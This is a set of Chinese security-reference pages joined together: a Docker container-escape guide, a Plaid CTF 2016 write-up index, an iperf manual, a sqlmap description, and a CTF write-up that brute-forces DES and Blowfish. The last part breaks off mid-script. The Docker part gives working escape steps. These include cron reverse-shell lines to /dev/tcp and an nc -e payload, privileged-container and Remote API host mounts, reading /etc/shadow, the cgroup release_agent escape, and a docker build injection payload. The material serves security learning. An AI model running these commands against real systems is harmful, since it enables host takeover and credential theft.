6. 在新容器 /aa 路径下完成对宿主机资源的访问,写入计划任务文件,反弹 shell
```bash
cd /aa
ls
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /aa/var/spool/cron/root
```
成功接收到宿主机反弹的 shell
**privileged 特权模式**
- 漏洞描述
特权模式于版本 0.6 时被引入 Docker,允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 `docker run --privileged` 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。
当控制使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
- 相关文章
- [特权容器导致容器逃逸](https://github.com/Metarget/metarget/tree/master/writeups_cnv/config-privileged-container)
1. 首先以特权模式运行一个 docker 容器
```bash
docker run -it --privileged=true ubuntu /bin/bash
```
2. 查看磁盘文件
```bash
fdisk -l
```
3. dm-0 存在于 `/dev` 目录下,新建一个目录,将 `/dev/dm-0` 挂载至新建的目录
```bash
mkdir /aaa
mount /dev/dm-0 /aaa
```
4. 写入计划任务到宿主机
```bash
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /aaa/var/spool/cron/root
```
**capability SYS_ADMIN**
- 相关文章
- [Understanding Docker container escapes](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- 利用条件
- 在容器内 root 用户
- 容器必须使用 SYS_ADMIN Linux capability 运行
- 容器必须缺少 AppArmor 配置文件,否则将允许 mount syscall
- cgroup v1 虚拟文件系统必须以读写方式安装在容器内部
- 复现测试
我们需要一个 cgroup,可以在其中写入 notify_on_release 文件(for enable cgroup notifications),挂载 cgroup 控制器并创建子 cgroup,创建 `/bin/sh` 进程并将其 PID 写入 cgroup.procs 文件,sh 退出后执行 release_agent 文件。
1. 主机使用 SYS_ADMIN Linux capability 运行一个 docker 容器
```bash
docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu /bin/bash
```
2. 挂载 cgroup 控制器并创建子 cgroup
```bash
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
> 注:如果这里报错"mount: /tmp/cgrp: special device cgroup does not exist.",将 rdma 改为 memory
3. 创建 `/bin/sh` 进程并将其 PID 写入 cgroup.procs 文件,sh 退出后执行 release_agent 文件。
```bash
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
```
**挂载宿主机 Procfs 系统导致容器逃逸**
- 漏洞描述
procfs 是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时. 有些业务为了实现某些特殊需要,会将该文件系统挂载进来
procfs 中的 `/proc/sys/kernel/core_pattern` 负责配置进程崩溃时内存转储数据的导出方式。从 2.6.19 内核版本开始,Linux 支持在 `/proc/sys/kernel/core_pattern` 中使用新语法。如果该文件中的首个字符是管道符 `|`,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。可以利用上述机制,在挂载了宿主机 procfs 的容器内实现逃逸。
- 相关文章
- [挂载宿主机Procfs系统导致容器逃逸](https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs)
**Docker Remote API 未授权访问漏洞**
- 漏洞描述
Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。存在问题的版本分别为 1.3 和 1.6 因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
- 相关文章
- [新姿势之Docker Remote API未授权访问漏洞分析和利用](https://wooyun.js.org/drops/%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8.html)
- [Docker Remote API未授权访问漏洞复现](https://zgao.top/docker-remote-api%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)
- [Docker daemon api 未授权访问漏洞](https://mp.weixin.qq.com/s/sPNEQ5n0rQEspTi7UescLg)
- [针对暴露Docker.Sock的攻击总结](https://mp.weixin.qq.com/s/65XvaD_U3gkwzjXzrrwOpw)
- POC | Payload | exp
- `http://[ip]:2375/version`
```bash
docker -H tcp://[IP]:2375 version
docker -H tcp://[IP]:2375 ps
docker -H tcp://[IP] run -it --privileged=true busybox sh
fdisk -l
mkdir /aaa
mount /dev/dm-0 /aaa
或
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt busybox sh
cd /mnt
ls
或
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
chroot /mnt
# 拿下后直接写 crontab 即可
```
- [netxfly/docker-remote-api-exp](https://github.com/netxfly/docker-remote-api-exp)
- [Tycx2ry/docker_api_vul](https://github.com/Tycx2ry/docker_api_vul)
- [docker daemon api 未授权访问漏洞](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md)
```py
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 反弹地址 反弹端口 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
```
---
## 容器服务缺陷
**CVE-2019-5736 漏洞逃逸**
- 漏洞描述
Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,runC 是用于创建和运行 Docker 容器的 CLI 工具,runC 18.09.2版本前的 Docker 允许恶意容器覆盖宿主机上的 runC 二进制文件。攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改掉 runc 的二进制文件,从而获取到宿主机的 root 执行权限。
- 影响版本
- Docker Version < 18.09.2
- runC Version <= 1.0-rc6
- 相关文章
- [Breaking out of Docker via runC - Explaining CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [RUNC 严重安全漏洞CVE-2019-5736 导致容器逃逸](http://blog.nsfocus.net/runc-cve-2019-5736/)
- POC | Payload | exp
- [Frichetten/CVE-2019-5736-PoC](https://github.com/Frichetten/CVE-2019-5736-PoC)
**CVE-2019-13139 Docker build code execution**
- 漏洞描述
在 18.09.4 之前的 Docker 中,能够提供或操纵 `docker build` 命令的构建路径的攻击者将能够获得命令执行。在 `docker build` 处理远程 git URL 的方式中存在一个问题,并导致命令注入到底层的 `git clone` 命令中,从而导致用户在执行 `docker build` 命令的上下文中执行代码。出现这种情况是因为 git ref 可能被误解为标志。
- 影响版本
- Docker Version < 18.09.4
- 相关文章
- [CVE-2019-13139 - Docker build code execution · Staaldraad](https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/)
- [CVE-2019-13139—Docker build时的命令注入漏洞](https://xz.aliyun.com/t/5729) - 上面英文版的翻译
- [Docker构建漏洞导致代码执行(CVE-2019-13139)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-13139)
- POC | Payload | exp
```
docker build "git@g.com/a/b#--upload-pack=echo "hello">flag;#:"
```
**CVE-2019-14271 Docker cp**
- 漏洞描述
在在与 GNU C 库(也称为 glibc)链接的 19.03.1 之前的 Docker 19.03.x 中,当 nsswitch 工具动态地在包含容器内容的 chroot 内加载库时,可能会发生代码注入。
- 影响版本
- 19.03 <= Docker Version < 19.03.1
- 相关文章
- [Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271](https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/)
- [CVE-2019-14271:Docker cp命令漏洞分析](https://www.anquanke.com/post/id/193218)
- [Docker copy漏洞导致容器逃逸(CVE-2019-14271)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271)
**CVE-2020-15257**
- 漏洞描述
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。
在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中,由于在网络模式为 host 的情况下,容器与宿主机共享一套 Network namespace ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效 UID 为 0,但没有限制对抽象 Unix 域套接字的访问,刚好在默认情况下,容器内部的进程是以 root 用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的 containerd 一样,连接 containerd-shim 监听的抽象 Unix 域套接字,调用 containerd-shim 提供的各种 API,从而实现容器逃逸。
- 相关文章
- [Containerd漏洞导致容器逃逸(CVE-2020-15257)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-containerd-cve-2020-15257)
- [CVE-2020-15257:Containerd虚拟环境逃逸复现](https://mp.weixin.qq.com/s/tyxJhqcZ3QTSjAqTZZSgrA)
## 更多内容
- [镜像仓库安全](../../../../Integrated/容器/Docker.md#镜像仓库安全)
- [镜像安全扫描](../../../../Integrated/容器/Docker.md#镜像安全扫描)
- [容器逆向分析](../../../../Integrated/容器/Docker.md#容器逆向分析)
- [容器运行时监控](../../../../Integrated/容器/Docker.md#容器运行时监控)
- [容器安全审计](../../../../Integrated/容器/Docker.md#容器安全审计)
|
sec-knowleage
|
# Writeup Plaid CTF 2016
Team: c7f.m0d3, akrasuski1, cr019283, nazywam, shalom, mnmd21891, msm, rev
### Table of contents
* [Rabit (Crypto)](crypto_rabit)
* [Tonnerre (Crypto)](crypto_tonnerre)
* [Pixelshop (Web)](web_pixelshop)
* [Hevc (Misc)](misc_hevc)
* [Morset (Misc)](misc_morset)
* [The stuff (Misc)](misc_the_stuff)
* [Untitled (Misc)](misc_untitled)
* [Pound (Pwn)](pwnable_pound)
* [Quixotic (Re)](reversing_quixotic)
|
sec-knowleage
|
iperf
===
网络性能测试工具
## 补充说明
**iperf命令** 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能。
iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较快,版本最新。Windows版更新慢。Windows版的iperf叫jperf,或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。
Linux版本下载地址:http://code.google.com/p/iperf/downloads/list
### 安装iperf
对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装:
```shell
gunzip -c iperf-<version>.tar.gz | tar -xvf -
cd iperf-<version>
./configure
make
make install
```
### 选项
```bash
-f, --format \[bkmaBKMA] # 格式化带宽数输出。支持的格式有:
# 'b' = bits/sec
# 'B' = Bytes/sec
# 'k' = Kbits/sec
# 'K' = KBytes/sec
# 'm' = Mbits/sec
# 'M' = MBytes/sec
# 'g' = Gbits/sec
# 'G' = GBytes/sec
# 'a' = adaptive bits/sec
# 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。
# 除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。
# 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。
# 通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。
# 如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-i, --interval # # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #\[KM] # 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-m, --print\_mss # 输出TCP MSS值(通过TCP\_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-p, --port # # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-u, --udp # 使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #\[KM] # 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。
# 对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-B, --bind host # 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,
# 这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。
# 使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility # 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。
# 某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss # ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-N, --nodelay # 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-V (from v1.6 or higher) # 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
```
服务器端专用选项
```bash
-s, --server # Iperf服务器模式
-D (v1.2或更高版本) # Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-R(v1.2或更高版本,仅用于Windows) # 卸载Iperf服务(如果它在运行)。
-o(v1.2或更高版本,仅用于Windows) # 重定向输出到指定文件
-c, --client host # 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel # # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
```
客户端专用选项
```bash
-b, --bandwidth #\[KM] # UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host # 运行Iperf的客户端模式,连接到指定的Iperf服务器端。
-d, --dualtest # 运行双测试模式。这将使服务器端反向连接到客户端,
# 使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。
# 这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-n, --num #\[KM] # 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。
# -n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff # 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),
# 反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-t, --time # # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport # # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel # # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos # # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,
# 或以"0"开始的8进制数或10进制数。 例如,16进制'0x10' = 8进制'020' = 十进制'16'。
# TOS值1349就是: IPTOS\_LOWDELAY minimize delay 0x10 IPTOS\_THROUGHPUT maximize
# throughput 0x08 IPTOS\_RELIABILITY maximize reliability 0x04 IPTOS\_LOWCOST minimize cost 0x02
-T, --ttl # # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-F (from v1.2 or higher) # 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F
-I (from v1.2 or higher) # 与-F一样,由标准输入输出文件输入数据。
```
杂项
```bash
-h, --help # 显示命令行参考并退出 。
-v, --version # 显示版本信息和编译信息并退出。
```
### 实例
带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。
**UDP模式**
服务器端:
```shell
iperf -u -s
```
客户端:
```shell
iperf -u -c 192.168.1.1 -b 100M -t 60
```
在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。
```shell
iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
```
客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。
```shell
iperf -u -c 192.168.1.1 -b 100M -d -t 60
```
以100M为数据发送速率,进行上下行带宽测试。
**TCP模式**
服务器端:
```shell
iperf -s
```
客户端:
```shell
iperf -c 192.168.1.1 -t 60
```
在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。
```shell
iperf -c 192.168.1.1 -P 30 -t 60
```
客户端同时向服务器端发起30个连接线程。
```shell
iperf -c 192.168.1.1 -d -t 60
```
进行上下行带宽测试。
|
sec-knowleage
|
# sqlmap软件包描述
sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项,从数据库指纹、数据获取到访问底层文件系统、执行操作系统命令。
特点:
- 全面支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB数据库管理系统。
- 全面支持六种SQL注入技术:boolean-based盲注、time-based盲注、error-based、UNION查询、堆叠查询和带外查询。
- 通过提供DBMS凭证、IP地址、端口和数据库名,支持不通过SQL注入的直接连接数据库。
- 支持枚举用户、密码哈希、特权、角色、数据库、表和列。
- 自动识别密码哈希格式,支持基于字典的攻击破解。
- 支持完整转储数据库表,根据用户的选择转储一定范围内的条目或特定列。用户还可以选择只从每列中转储指定字符。
- 支持搜索特定的数据库名、表名,或跨表搜索特定的列名。这非常有用,例如,识别包含自定义应用程序凭证的表,其相关列名称可能包含name、pass等字符串。
- 支持通过数据库服务器所在的文件系统下载和上传任何文件,当数据库软件是MySQL, PostgreSQL或Microsoft SQL server时。
- 支持通过数据库服务器所在的操作系统执行任意命令并获取输出,当数据库软件为MySQL、PostgreSQL或Microsoft SQL server时。
- 支持在攻击者机器和数据库服务器所在操作系统之间建立带外有状态的TCP连接,这个通道根据用户的选择可以是交互式命令行、Meterpreter会话或图形用户界面(VNC)。
- 支持通过Metasploit的getsystem命令实现数据库进程的用户权限升级。
资料来源:http://sqlmap.org/
[sqlmap主页](http://sqlmap.org/) | [Kali sqlmap软件源](http://git.kali.org/gitweb/?p=packages/sqlmap.git;a=summary)
- 作者:Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar
- 许可:GPLv2
## sqlmap包中包含的工具
### sqlmap -自动SQL注入工具
```
root@kali:~# sqlmap -h
Usage: python sqlmap [options]
Options:
-h, --help 显示基本的帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序的版本号并退出
-v VERBOSE 显示详细信息级别: 0-6 (default 1)
Target:
至少必须提供一个选项来指定目标
-u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK 将Google dork结果作为目标URLs
Request:
这些选项用于指定如何连接到目标URL
--data=DATA 通过POST方法传送字符串
--cookie=COOKIE 指定HTTP Cookie值
--random-agent 随机选择HTTP User-Agent值
--proxy=PROXY 指定连接代理
--tor 使用Tor匿名网络
--check-tor 检查Tor网络是否可用
Injection:
这些选项可用于指定要测试的参数,提供自定义注入载荷和可选的伪造脚本
-p TESTPARAMETER Testable参数
--dbms=DBMS 强制指定后端DBMS类型
Detection:
这些选项可用于定制检测阶段
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)
Techniques:
这项选项可用于优化特定的SQL注入技巧
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
Enumeration:
这些选项可用于枚举后端数据库管理系统中包含的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 获取所有信息
-b, --banner 获取DBMS banner
--current-user 获取DBMS当前用户
--current-db 获取DBMS当前数据库
--passwords 枚举DBMS用户口令哈希
--tables 枚举DBMS数据库表
--columns 枚举DBMS数据表的列
--schema 枚举DBMS schema
--dump 转储DBMS database table entries
--dump-all 转储所有DBMS databases tables entries
-D DB 指定DBMS数据库
-T TBL 指定DBMS数据表
-C COL 指定DBMS数据表的列
Operating system access:
这些选项可用于访问后端数据库管理系统所在的底层操作系统
--os-shell 启动交互式操作系统命令行
--os-pwn 启动OOB shell, Meterpreter or VNC
General:
这些选项可用于设置通用参数
--batch 不要求用户输入,使用默认值
--flush-session 对当前目标刷新会话文件
Miscellaneous:
--wizard 适用于初学者的简单向导
[!] 完整的选项信息可使用'-hh'获取
[*] shutting down at 15:52:48
```
### sqlmap使用示例
攻击给定的URL(-u “http://192.168.1.250/?p=1&forumaction=search”), 获取数据库名(–dbs):
```
root@kali:~# sqlmap -u "http://192.168.1.250/?p=1&forumaction=search" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:11:04
```
原文链接:https://tools.kali.org/vulnerability-analysis/sqlmap
译者:[LaoK996](https://github.com/LaoK996)
校对:
|
sec-knowleage
|
# DES (Crypto 500)
###ENG
[PL](#pl-version)
The general idea was simple - the authors used double encryption with DES and Blowfish and the task was to decode the message.
The problems:
* Authors used some shady website for encryption and not the ciphers directly. This website was adding random paddings and without knowing about it, there was no way to solve it. Fortunately this was released as a hint.
* The authors for no apparent reason have given an example payload apart from the flag. This suggested a meet-in-the-middle attack using this payload, which was not a good approach, because the example payload was encrypted with different keys than the flag.
* The calculations for this task were a bit time consuming due to key universum size. Seriously, there is no need to make a task where bruteforce is taking minutes to run on 8 paralell cores. It doesn't make the task any "harder", only more annoying.
So what we have here is the encrypted flag:
```
AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==
```
And we know that the flag was encrypted first with DES with padding, the data were transformed into base64 and this was encrypted again with Blowfish with padding and it was encoded as base64.
We also know that both keys are in the range 0-9999999.
So we run bruteforce first on the outer layer - to decode Blowfish and take all proper base64 results as potential hits.
And then we take those results and try to decode them with DES to look for the flag.
There is slim chance that such long payload decoded with improper Blowfish key would give us base64 string, and in fact we got only a single hit there.
So we run the bruteforecer:
```python
import base64
import string
from Crypto.Cipher import DES, Blowfish
from multiprocessing import freeze_support
from src.crypto_commons.brute.brute import brute
def is_printable(decrypted):
for i in range(len(decrypted)):
if decrypted[i] not in string.printable:
return False
return True
def combine(partials):
results = {}
for partial in partials:
for key, value in partial.items():
results[key] = value
return results
def worker_blowfish(data):
first, payload = data
results = {}
for i in range(10000000):
key = str(first) + '{:07}'.format(i)
e = Blowfish.new(key)
decrypted = e.decrypt(payload)[8:]
try:
if is_printable(decrypted[:-8]):
real_data = base64.b64decode(decrypted)[8:]
results[key] = real_data
print('potential match ', key, real_data)
except:
pass
return results
def worker_des(data):
first, payload = data
results = {}
for i in range(10000000):
key = str(first) + '{:07}'.format(i)
e = DES.new(key)
decrypted = e.decrypt(payload)[8:]
if is_printable(decrypted[:-8]):
results[key] = decrypted
print('potential flag ', key, decrypted)
return results
def main():
cipher = base64.b64decode(
'AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==')
data = [(i, cipher) for i in range(10)]
partials = brute(worker_blowfish, data, 10)
candidates = combine(partials)
print(candidates)
for candidate_key, candidate_value in candidates.items():
data = [(i, candidate_value) for i in range(10)]
partials = brute(worker_des, data, 10)
print(combine(partials))
if __name__ == '__main__':
freeze_support()
main()
```
where brute() comes from our crypto-commons and is simply:
```python
import multiprocessing
def brute(worker, data_list, processes=8):
"""
Run multiprocess workers
:param worker: worker function
:param data_list: data to distribute between workers, one entry per worker
:param processes: number of parallel processes
:return: list of worker return values
"""
pool = multiprocessing.Pool(processes=processes)
return pool.map(worker, data_list)
```
From this we get the decoded data:
```
ZeroNights is a perfect place to discuss new attack methods and threats. It shows ways to attack and defend to its guests, and suggests unorthodox approach to cybersecurity problems solving.
```
###PL version
Generalna idea zadania była dość prosta - autorzy zaszyfrowali flagę najopiers DESem a potem Blowfishem a naszym zadaniem jest ją zdekodować.
Problemy:
* Autorzy użyli jakiejś dziwnej strony do szyfrowania, a nie bezpośrednio szyfrów. Ta strona dodawała losowy padding i jeśli o tym nie wiemy to nie damy rady zrobić zadania. Na szczęście później zotało to ujęte jako hint.
* Autorzy bez powodu dodali w zadaniu drugi payload oprócz flagi. Było to mocno mylące bo suguerowało atak meet-in-the-middle, który był tutaj błędem, ponieważ przykładowy payload używał innych kluczy niż flaga.
* Obliczenia były czasochłonne ze względu na rozmiar kluczy. Poważnie, nie ma potrzeby podawać w zadaniu danych wymagajacych minut obliczeń na 8 równoległych rdzeniach. To wcale nie sprawia że zadanie jest "trudniejsze", tylko bardziej wkurzające.
Mamy daną zaszyfrowaną flagę:
```
AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==
```
Wiemy że flaga została najpierw zaszyfrowana DESem z paddingiem, następnie enkodowana base64 i zaszyfrowana Blowfishem z paddingiem i znów enkodowana base64.
Wiemy że klucze są z zakresu 0-9999999.
Uruchamiamy więc brute-forcer najpierw na zewnętrznej warstwie - aby deszyfrować Blowfisha i wziąć wszystkie poprawne base64 jako potencjalne trafienia.
Następnie próbujemy dekodować je DESem szukając flagi.
Jest niewielka szansa że payload dekodowany Blowfishem z losowym kluczem da nam poprawny base64 i faktycznie był tylko jeden poprawny ciąg.
Więc uruchamiamy bruteforcer:
```python
import base64
import string
from Crypto.Cipher import DES, Blowfish
from multiprocessing import freeze_support
from src.crypto_commons.brute.brute import brute
def is_printable(decrypted):
for i in range(len(decrypted)):
if decrypted[i] not in string.printable:
return False
return True
def combine(partials):
results = {}
for partial in partials:
for key, value in partial.items():
results[key] = value
return results
def worker_blowfish(data):
first, payload = data
results = {}
for i in range(10000000):
key = str(first) + '{:07}'.format(i)
e = Blowfish.new(key)
decrypted = e.decrypt(payload)[8:]
try:
if is_printable(decrypted[:-8]):
real_data = base64.b64decode(decrypted)[8:]
results[key] = real_data
print('potential match ', key, real_data)
except:
pass
return results
def worker_des(data):
first, payload = data
results = {}
for i in range(10000000):
key = str(first) + '{:07}'.format(i)
e = DES.new(key)
decrypted = e.decrypt(payload)[8:]
if is_printable(decrypted[:-8]):
results[key] = decrypted
print('potential flag ', key, decrypted)
return results
def main():
cipher = base64.b64decode(
